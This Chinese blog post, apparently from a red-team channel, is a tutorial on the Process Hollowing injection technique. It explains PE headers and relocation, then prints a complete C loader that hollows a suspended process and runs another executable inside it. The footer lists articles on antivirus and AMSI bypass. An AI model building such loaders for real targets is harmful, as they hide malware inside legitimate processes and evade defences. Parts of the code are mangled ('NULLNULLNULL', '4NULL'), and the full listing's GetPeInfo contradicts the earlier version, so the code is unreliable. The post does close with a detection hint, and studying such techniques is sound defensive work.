Process Hollowing学习与研究
2023-2-20 10:3:2 Author: 红队蓝军(查看原文) 阅读量:15 收藏

0x0 前言与基础

各位师傅们好,本文记录了一个小菜鸡对Process Hollowing(傀儡进程)的学习和总结,文中如有错误,麻烦大佬们指出!本文比较基础,请各位大佬们勿喷。

基础知识

线程与CONTEXT结构

在程序运行时线程是来回切换的,比如A线程执行一段时间,然后切换到B线程执行,B线程执行一段时间后在切回A线程,但是如果这样做就会出现问题,因为A线程运行时寄存器的值已经被B线程修改了。

CONTEXT结构解决了这个问题,有了CONTEXT结构,我们在进行线程切换时,就可以将A线程的各种寄存器数据放到CONTEXT结构中保存起来,这样就避免了切换线程时寄存器被修改的问题。

Pe信息解析

ImageBase是程序运行时的基址,也就是程序被映射进程的4gb内存中的地址这个值不一定准确。如果ImageBase与映射到进程中的内存地址如果不一样,系统会对程序执行重定位操作。

AddressOfEntryPoint是程序的入口点,这个值只是一个偏移,加上ImageBase中的值才是真正的程序入口点。

SizeOfImage是程序拉伸后(转换成imagebuffer)的大小,也就是程序在进程中的大小。

重定位表解析

在程序中全局变量的地址是固定的,这个地址=基址(ImageBase)+偏移,如果imagebase与程序在进程中的地址一样的话就不需要做重定位,但如果不一样就需要重定位,因为如果基址不一样,在使用程序中的全局变量的时候就会出现错误。

举个例子,A程序的ImageBase是400000,程序中有一个全局变量,地址是401000,如果A程序在映射到进程的内存中占住了400000就不会出现问题,如果占不住,被分配到了500000,那么在访问401000这个地址就会出现问题,这就要用到重定位表对程序进行重定位操作。

重定位表结构体定义

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;//当前块的基址
    DWORD   SizeOfBlock;//当前块的大小
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

重定位表在内存中的结构

SizeOfBlock成员后面的才是真正的偏移(就是图中的那一堆二进制)。

每一个偏移占两个字节(16位),在这16位二进制中如果前四位是3,那么代表这个偏移是有效的,否则这个数据就是为了内存对齐存在的。

我们可以通过(SizeOfBlock-8)/2得到偏移数据的数量,VirtualAddress+偏移=指向需要重定位的地方的指针。

重定位表结束的地方是一个全0的PIMAGE_BASE_RELOCATION结构。

右移指令>> 位运算是直接对二进制位进行操作的,右移就是将二进制位往右移动,移出去的二进制位被丢弃,左边补0。

举个栗子: 0101 >> 1 = 0010,0011 0101 0101 01110 >> 12 = 0000 0000 0000 0011。

在代码中会通过右移指令判断重定位表中的偏移数据是否有效。

与运算& 逻辑运算指令之一,0&0=0,0&1=0,1&1=1. 只有都是1时才是1,否则是0。栗子: 0100 0100 & 1011 0101 = 0000 0100

0x1 Process Hollowing原理

通过创建挂起A进程,替换A程序在进程中的映射为B程序,实现A程序执行B程序的功能。

0x2 Process Hollowing实现过程

假设我们有两个程序:A和B,我们想要让A作为傀儡来B程序的功能,那么实现过程可以分为以下几步。

读取B程序到内存中

为A程序创建挂起进程

得到挂起进程的线程上下文

卸载掉A程序在内存中的映射

得到B程序的Pe信息如ImageBase等

根据B程序的ImageBase在A程序的内存中申请内存

将B程序拉伸转换成ImageBuffer(运行时状态)

将拉伸后的B程序写入到刚刚创建的A进程的内存中

修改线程上下文,并恢复挂起线程 0x3 实现代码解析 Process Hollowing的思路和过程上面已经说过了,我们直接来看代码

PVOID buffer=ReadFile2Memory(L"C:\\Users\\blue\\Desktop\\msgbox.txt");
WCHAR path[MAX_PATH] = { 0 };
GetModuleFileNameW(NULL,path,MAX_PATH);

首先定义了一个自己的函数ReadFile2Memory(函数实现代码会在下面贴出来),函数功能是读取文件到内存中,参数是要读取文件的路径,返回值是文件在内存中的地址,这里使用了一个指针来接收这个地址。

第三行调用了GetModuleFileNameW函数,这个函数在此处的作用是得到当前程序的路径。第一个参数如果是NULL就代表要得到当前程序的路径,第二个参数是指向缓冲区的指针,这个缓冲区用来接收返回的路径,第三个参数是缓冲区的大小。

STARTUPINFOW st = { 0 };
st.cb = sizeof(st);
PROCESS_INFORMATION info = { 0 };
CreateProcessW(path, NULLNULLNULLNULL, CREATE_SUSPENDED, NULLNULL, &st, &info);

第一行主要用来设置要创建进程的窗口属性,这里默认即可。

第三行定义了一个PROCESS_INFORMATION类型的结构体,这个结构体用来存储新创建的进程和主线程的信息。

结构体定义

struct _PROCESS_INFORMATION {
  HANDLE hProcess;//新创建进程的句柄
  HANDLE hThread;//新创建进程的主线程句柄
  DWORD  dwProcessId;//进程的id
  DWORD  dwThreadId;//线程的id
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

然后调用了CreateProcessW函数,此函数用于创建进程,第一个参数:要创建进程的exe的路径,第二个参数:命令行的参数,可以为NULL,第三个参数和第四个参数都是安全描述符,填NULL即可,第五个参数:是否让创建的子进程继承自己的句柄,继承填TRUE,不继承FALSE,第六个参数:进程创建的标志,CREATE_SUSPENDED代表已挂起方式创建,第七个参数:指向新进程环境块的指针,为NULL即可,第八个参数:进程当前目录完整的路径,为NULL即可,第九个参数:指向STARTUPINFOW结构的指针,第十个参数:指向PROCESS_INFORMATION结构的指针。

上面代码大致作用:用CreateProcessW的函数为当前程序创建一个挂起的进程。

CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_FULL;
BOOL Code=GetThreadContext(info.hThread, &context);
if (Code == NULL) {
    printf("GetThreadContext Error Code:%d\n", GetLastError());
    return;
}

首先定义了一个CONTEXT结构,这个结构体的成员中存储的就是线程在挂起时各个寄存器的值,ContextFlags成员代表我们要使用这个结构中的哪些寄存器。

GetThreadContext函数用于获得挂起进程的CONTEXT结构的信息,第一个参数:要获取CONTEXT结构的线程的句柄,第二个参数:一个指向CONTEXT结构的指针,函数如果失败返回FALSE。

pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
if (UnmapViewOfSection == NULL) {
    printf("GetProcAddress Error Code:%d\n", GetLastError());
    return;
}

LoadLibraryW函数功能是加载dll并得到它的句柄,GetProcAddress函数功能是得到指定函数的地址,第一个参数:函数所在dll的句柄,第二个参数:函数的名字。

上面代码大致作用:加载ntdll,并得到ntdll中ZwUnmapViewOfSection函数的地址,并用一个函数指针来接受它。

HMODULE hModule = GetModuleHandleW(NULL);
PeInfo shell = { 0 };
GetPeInfo((PBYTE)hModule,&shell.ImageBase,&shell.Oep,&shell.SizeOfImage,&shell.ReCode);
UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);

GetModuleHandleW函数用于得到指定模块的句柄,第一个参数:模块的名字,如果第一个参数为NULL,那么此函数将的得到当前程序的句柄。

第二行定义了一个结构体,此结构体用来存储需要用到的pe信息。结构体定义

struct PeInfo{
    DWORD ImageBase;//存储程序的ImageBase,此成员代表程序的基址
    DWORD Oep;//存储Oep(AddressOfEntryPoint),此成员代表程序的入口点
    DWORD SizeOfImage;//存储SizeOfImage,此成员代表程序拉伸后的大小
    CHAR ReCode;//用于判断程序是否存在重定位表,存在就是1,不存在时0
};

GetPeInfo是我们自己写的函数(代码在下面),功能是得到指定句柄的pe信息,第一个参数:要得到信息的模块的句柄,第二个参数:指向ImageBase的指针,第三个参数:指向Oep的指针,第四个参数:指向SizeOfImage的指针,第五个参数:指向ReCode的指针。

在得到所需的pe信息后,调用ZwUnmapViewOfSection函数卸载掉映射到挂起进程中的程序

PeInfo src = { 0 };
GetPeInfo((PBYTE)buffer, &src.ImageBase, &src.Oep, &src.SizeOfImage,&src.ReCode);//得到源程序的pe信息
PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间

第二行得到的是B进程的pe信息,在得到我们需要的pe信息后使用VirtualAllocEx函数在A进程的空间中申请内存,第一个参数:申请内存的进程句柄,第二个参数:要在哪里申请内存,一个指针,第三个参数:要申请多大的内存,第四个参数:申请内存的类型,这里是保留和提交,第五个参数:申请内存的属性,如果函数执行失败返回值为NULL.

if (imagebuffer != NULL) {//不等与空代表内存申请成功
        PVOID Imagebuffer = F2i((PBYTE)buffer);
        WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
        WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4NULL);
        context.Eax = src.Oep + (DWORD)imagebuffer;
        context.ContextFlags = CONTEXT_FULL;
        SetThreadContext(info.hThread, &context);
        ResumeThread(info.hThread);
 }

首先是一个if来判断申请内存是否成功,调用F2i函数将B程序拉伸,也就是从filebuffer状态转换成imagebuffer状态。

然后调用WriteProcessMemory此函数功能:往别的进程中的内存写入数据,第一个参数是:写入的进程句柄,第二个参数:要写到哪里,第三个参数:写入数据的来源,第四个参数:写入数据的大小,第五个参数:代表写入了多少字节,如果是NULL,则代表忽略此参数。

第一个WriteProcessMemory函数是将拉伸后的B程序写入到A进程中,第二个WriteProcessMemory是将B程序的基址(ImageBase)覆盖掉A程序的ImageBase。

然后将context结构中Eax寄存器的值改为程序真正的入口点,也就是src.Oep + (DWORD)imagebuffer;,然后调用SetThreadContext函数设置线程的CONTEXT结构,此函数第一个参数:要设置CONTEXT结构的线程的句柄,第二个参数:指向CONTEXT结构的指针。

最后使用ResumeThread函数恢复了线程的运行,下面我们来看下内存申请失败的代码。

如果内存申请失败就执行else的代码。

else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
    if (src.ReCode == 0x1) {//重定位表存在
        printf("Relocation table Exist Start Relocation\n");
        PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (n_buffer == NULL) {
            printf("VirtualAllocEx Error Code:%d\n", GetLastError());
            return;
        }
        PatchRe((DWORD)n_buffer, (PBYTE)buffer);
        PVOID Imagebuffer = F2i((PBYTE)buffer);
        WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
        WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &n_buffer, 4NULL);
        context.Eax = src.Oep + (DWORD)n_buffer;
        context.ContextFlags = CONTEXT_FULL;
        SetThreadContext(info.hThread, &context);
        ResumeThread(info.hThread);
    }

}

首先通过if语句来判断ReCode的值来确认重定位表存不存在,如果存在就继续执行。

接着调用了VirtualAllocEx函数申请内存,但这次第二个参数填了NULL,代表由系统决定在哪里申请内存,其余的参数由于上面已经说过了就不再赘述了。

成功申请内存后调用了PatchRe函数,这个函数功能是修复重定位表,在下面会给出函数的实现和代码解析。

执行完PatchRe函数,又调用了F2i函数,将B程序由filebuffer状态转换程imagebuffer状态。

接着又调用WriteProcessMemory将imagebuffer状态下的B程序数据写入到之前创建的挂起进程中,然后调用了WriteProcessMemory函数覆盖A进程的ImageBase 最后这几行主要做了设置程序入口点,设置线程的CONTEXT结构,并恢复线程执行。

ReadFile2Memory函数实现

PVOID ReadFile2Memory(LPCWSTR path) {

    DWORD ReadByte = 0;
    HANDLE hFile = CreateFileW(path, GENERIC_READ, 00, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFileW Error Code:%d\n",GetLastError());
        return 0;
    }
    DWORD Size = GetFileSize(hFile, NULL);
    PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (buffer == NULL) {
        printf("VirtualAlloc Error Code:%d\n", GetLastError());
        return 0;
    }
    BOOL Code=ReadFile(hFile,buffer,Size,&ReadByte,NULL);
    if (Code == NULL) {
        printf("ReadFile Error Code:%d\n", GetLastError());
        return 0;
    }
    return buffer;
}

大概就是通过CreateFileW函数得到文件的句柄,然后调用ReadFile函数读取文件到内存中,因为这个不是重点就不详细介绍了。

GetPeInfo函数实现

DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
    *Imagebase =Option->ImageBase;
    *Oep = Option->AddressOfEntryPoint;
    *SizeOfImage = Option->SizeOfImage;
    if (Data[5].VirtualAddress == NULL && Data[5].Size == NULL) {
        MessageBox(0L"重定位表为空"00);
        *ReCode = 0x0;
                return 0;
    }
    *ReCode = 0x1;
    return 0;
}

代码大概作用是得到传入句柄的pe信息,然后通过指针传出去。

PIMAGE_DATA_DIRECTORY是数据目录表结构体指针,数据目录表的第六项就是重定位表的数据,因为数据目录表是从0开始的所以这里就是5,通过重定位表的VirtualAddress和Size为不为空,来判断存不存在重定位表。

PatchRe函数实现

DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;//定位Dos头
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);//定位Nt头
    PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);//定位File头
    PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);//定位Option头
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);//定位节表
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);//定位数据目录
    PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));//定位重定位表
    DWORD nImageBase = newImageBase - Option->ImageBase;
    Option->ImageBase = newImageBase;

    for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
    {

        DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
        PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
        for (DWORD j = 0; j < RecCount; j++)
        {
            if (RecAdd[j] >> 12 == 3)
            {

                DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
                DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
                PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
                *RecAdd4 = *RecAdd4 + nImageBase;
            }
            continue;
        }
        Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
    }

    return 1;
}

定位各种头的就不说了,直接看比较重要的代码

DWORD nImageBase = newImageBase - Option->ImageBase;
Option->ImageBase = newImageBase;
第一行通过新的imagebase-旧的imagebase得到它们之间的偏移,第二行修改程序的基址为新的imagebase

for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)

{

        DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
        PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
        for (DWORD j = 0; j < RecCount; j++)
        {
            if (RecAdd[j] >> 12 == 3)
            {

                DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
                DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
                PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
                *RecAdd4 = *RecAdd4 + nImageBase;
            }
            continue;
        }
        Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
    }

上面说过重定位表VirtualAddress和SizeOfBlock如果为0就代表重定位表结束,因此这里使用for循环来判断重定位表结不结束,如果VirtualAddress和SizeOfBlock不为0,将会一直循环。

然后通过(Relocation->SizeOfBlock - 8) / 2得到偏移数据的数量。

因为重定位表大小是8字节,所以通过(PWORD)((PBYTE)Relocation + 8)来定位偏移数据。

for (DWORD j = 0; j < RecCount; j++) {}然后又嵌套了一个循环,这个循环用来遍历偏移数据。

if (RecAdd[j] >> 12 == 3)上面说过偏移数据的前4位如果是3代表这个偏移是有效的,这里使用右移指令让偏移数据右移12位。得到前四位的值然后与3比较。

DWORD RecAdd2 = RecAdd[j] & 0x0fff将偏移数据和0x0fff进行与运算,因为偏移数据前四位的值只是用来判断这个偏移是否有效的,不能让前四位也参与运算需要丢掉它。

DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);将偏移数据与重定位表的基址相加得到需要修改地址的rva(imagebuffer下的偏移),然后通过rtf函数将rva转换成foa(filebuffer状态下的偏移),函数的返回值是rva对应的foa,得到foa后又把它赋值给了RecAdd3。

PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr); *RecAdd4 = *RecAdd4 + nImageBase;第一行通过偏移+基址得到真正需要修改的地方的指针,第二行就是给需要修改的地方赋值,nImageBase是新ImageBase与旧ImageBase的差。

0x4 完整代码

main.cpp

#include "Func.h"

void main() {
    PVOID buffer=ReadFile2Memory(L"C:\\Users\\ak\\Desktop\\msgbox.txt");
    WCHAR path[MAX_PATH] = { 0 };
    GetModuleFileNameW(NULL,path,MAX_PATH);
    STARTUPINFOW st = { 0 };
    st.cb = sizeof(st);
    PROCESS_INFORMATION info = { 0 };
    CreateProcessW(path, NULLNULLNULLNULL, CREATE_SUSPENDED, NULLNULL, &st, &info);
    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_FULL;
    BOOL Code=GetThreadContext(info.hThread, &context);
    if (Code == NULL) {
        printf("GetThreadContext Error Code:%d\n", GetLastError());
        return;
    }
    pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
    if (UnmapViewOfSection == NULL) {
        printf("GetProcAddress Error Code:%d\n", GetLastError());
        return;
    }
    HMODULE hModule = GetModuleHandleW(NULL);
    PeInfo shell = { 0 };
    GetPeInfo((PBYTE)hModule,&shell.ImageBase,&shell.Oep,&shell.SizeOfImage,&shell.ReCode);
    UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);
    PeInfo src = { 0 };
    GetPeInfo((PBYTE)buffer, &src.ImageBase, &src.Oep, &src.SizeOfImage,&src.ReCode);//得到源程序的pe信息
    PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间
    if (imagebuffer != NULL) {//不等空代表内存申请成功
        printf("Not Relocation\n");
        PVOID Imagebuffer = F2i((PBYTE)buffer);
        WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
        WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4NULL);
        context.Eax = src.Oep + (DWORD)imagebuffer;
        context.ContextFlags = CONTEXT_FULL;
        SetThreadContext(info.hThread, &context);
        ResumeThread(info.hThread);
    }
    else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
        if (src.ReCode == 0x1) {//重定位表存在
            printf("Relocation table Exist Start Relocation\n");
            PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (n_buffer == NULL) {
                printf("VirtualAllocEx Error Code:%d\n", GetLastError());
                return;
            }
            PatchRe((DWORD)n_buffer, (PBYTE)buffer);
            PVOID Imagebuffer = F2i((PBYTE)buffer);
            WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
            WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &n_buffer, 4NULL);
            context.Eax = src.Oep + (DWORD)n_buffer;
            context.ContextFlags = CONTEXT_FULL;
            SetThreadContext(info.hThread, &context);
            ResumeThread(info.hThread);
        }

    }

}

func.h

#pragma once
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
struct PeInfo{
    DWORD ImageBase;
    DWORD Oep;
    DWORD SizeOfImage;
    CHAR ReCode;
};

DWORD rtf(char* buffer, DWORD rva)
{
    PIMAGE_DOS_HEADER doshd = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS nthd = (PIMAGE_NT_HEADERS)(buffer + doshd->e_lfanew);
    PIMAGE_FILE_HEADER filehd = (PIMAGE_FILE_HEADER)(buffer + doshd->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER32 optionhd = (PIMAGE_OPTIONAL_HEADER32)(buffer + doshd->e_lfanew + 24);
    PIMAGE_SECTION_HEADER sectionhd = IMAGE_FIRST_SECTION(nthd);
    //IMAGE_FIRST_SECTION
    if (rva < optionhd->SizeOfHeaders)
    {
        return rva;
    }
    for (int i = 0; i < filehd->NumberOfSections; i++)
    {
        if (rva >= sectionhd[i].VirtualAddress && rva <= sectionhd[i].VirtualAddress + sectionhd[i].SizeOfRawData)
        {
            return rva - sectionhd[i].VirtualAddress + sectionhd[i].PointerToRawData;
        }
    }
    return 0;
}
PVOID ReadFile2Memory(LPCWSTR path) {

    DWORD ReadByte = 0;
    HANDLE hFile = CreateFileW(path, GENERIC_READ, 00, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFileW Error Code:%d\n",GetLastError());
        return 0;
    }
    DWORD Size = GetFileSize(hFile, NULL);
    PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (buffer == NULL) {
        printf("VirtualAlloc Error Code:%d\n", GetLastError());
        return 0;
    }
    BOOL Code=ReadFile(hFile,buffer,Size,&ReadByte,NULL);
    if (Code == NULL) {
        printf("ReadFile Error Code:%d\n", GetLastError());
        return 0;
    }
    return buffer;
}
DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
    *Imagebase =Option->ImageBase;
    *Oep = Option->AddressOfEntryPoint;
    *SizeOfImage = Option->SizeOfImage;
    if (Data[5].VirtualAddress == NULL && Data[5].Size == NULL) {
        MessageBox(0L"重定位表为空"00);
        *ReCode = 0x0;
    }
    *ReCode = 0x1;
    return 0;
}
PVOID F2i(PBYTE filebuffer) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)filebuffer;
    PIMAGE_NT_HEADERS nt = nt = (PIMAGE_NT_HEADERS)(filebuffer + dos->e_lfanew);
    PIMAGE_FILE_HEADER file_header = (PIMAGE_FILE_HEADER)(filebuffer + dos->e_lfanew + 4);
    PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt);
    PIMAGE_OPTIONAL_HEADER32 option_header = (PIMAGE_OPTIONAL_HEADER32)(filebuffer + dos->e_lfanew + 24);
    PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, option_header->SizeOfImage);
    memcpy(buffer, dos, option_header->SizeOfHeaders);//复制头
    for (int i = 0; i < file_header->NumberOfSections; i++) {

        memcpy((LPVOID)((DWORD)buffer + section_header[i].VirtualAddress), (LPVOID)((DWORD)filebuffer + section_header[i].PointerToRawData), section_header[i].SizeOfRawData);
    };

    return buffer;

}
DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);
    PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
    PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));
    DWORD nImageBase = newImageBase - Option->ImageBase;
    Option->ImageBase = newImageBase;

    for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
    {

        DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
        PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
        for (DWORD j = 0; j < RecCount; j++)
        {
            if (RecAdd[j] >> 12 == 3)
            {

                DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
                DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
                PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
                *RecAdd4 = *RecAdd4 + nImageBase;
            }
            continue;
        }
        Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
    }

    return 1;
}

0x5 总结

Process Hollowing是进程注入技术的一种,主要是对映射到进程中的程序数据做了替换,相当于狸猫换太子,可以通过监控ZwUnmapViewOfSection函数的调用来检测Process Hollowing。

https://forum.butian.net/share/2100

wx

ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247506909&idx=1&sn=b706734d010cb66e398a52354379bd76&chksm=ce676161f910e877bb04ab00bb0d1b0dcc068134f4ef68b856976ed0d3ee4c486a9b2edef89d#rd
如有侵权请联系:admin#unsafe.sh